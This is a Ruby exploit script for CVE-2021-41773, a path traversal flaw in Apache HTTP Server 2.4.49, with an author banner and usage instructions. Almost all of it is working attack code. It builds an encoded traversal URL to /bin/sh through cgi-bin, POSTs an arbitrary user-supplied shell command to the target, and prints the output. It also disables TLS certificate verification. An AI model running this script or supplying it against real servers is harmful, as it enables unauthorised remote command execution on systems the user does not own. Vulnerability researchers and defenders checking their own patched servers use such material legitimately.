CVE-2021-41773.rb

#!/usr/bin/ruby
#
# CVE-2021-41773 | Apache HTTP Server 2.4.49 is vulnerable to Path Traversal and Remote Code execution attacks 
# Coded By Habib | Twitter @hab1b0x | LinkedIn @habib0x
# Date           | 15/03/2022 - 11:02 AM
#
require 'net/http'

# Simple & Strainght Forward Exploitation Of CVE-2021-41773 
# Banner & Quick How to use 

def title
    puts """                                                        
    #       c  c  wWw    wWw  -2021-41773
    #       (OO)  (O)    (O)    wWw              
    #     ,'.--.) ( \    / )    (O)_             
    #    / //_|_\  \ \  / /    .' __)            
    #    | \___    /  \/  \   (  _)              
    #    '.    )   \ `--' /    `.__)             
    #      `-.'     `-..-'                                                                            
    #            Author:Habib  
    #   ruby CVE-2021-41773.rb target_url dir command 
    #   ruby CVE-2021-41773.rb http://localhost bin/sh whoami 
    """
end

# If no arguments are given, show title & usage

if ARGV.empty?
    title()
    exit 0
end

# Get Target from stdin
target = ARGV[0]
dir = ARGV[1]
command = ARGV[2]
dir = 'bin/sh' if dir.nil?


# Check if target is valid
if not target.start_with?('http')
    target = 'http://' + target 
end

# Generate full url for launching the attack server
url = "#{target}/cgi-bin/.%2e/%2e%2e/%2e%2e/#{dir}"

uri = URI(url)
http = Net::HTTP.new(uri.host, uri.port)

# Use SSL/TLS if needed 
if uri.scheme == 'https'
    http.use_ssl = true
    http.verify_mode = OpenSSL::SSL::VERIFY_NONE
end

# Make the request 

req = Net::HTTP::Post.new(uri.request_uri)
req.body = "echo Content-Type: text/plain; echo;#{command}"

# Check response 
response = http.request(req) 

check_only = (command.nil? and dir.nil?)
bad_payload = (response.code == '403' or response.code == '404')
good_payload = (response.code == '200')
not_vulnerable = (response.code == '400')
if (check_only && bad_payload) || good_payload
    puts "Target: #{target} is vulnerable\n"
    puts "Command: #{response.body}" unless check_only
    0
elsif bad_payload
    puts "Target: #{target} is vulnerable but this payload is not" \
    " working (HTTP error code: #{response.code})"
    2
elsif not_vulnerable
    puts "Target: #{target} is not vulnerable"
    1
else
    puts "Target: #{target} is not vulnerable" \
    "(HTTP error code: #{response.code})"
    127
end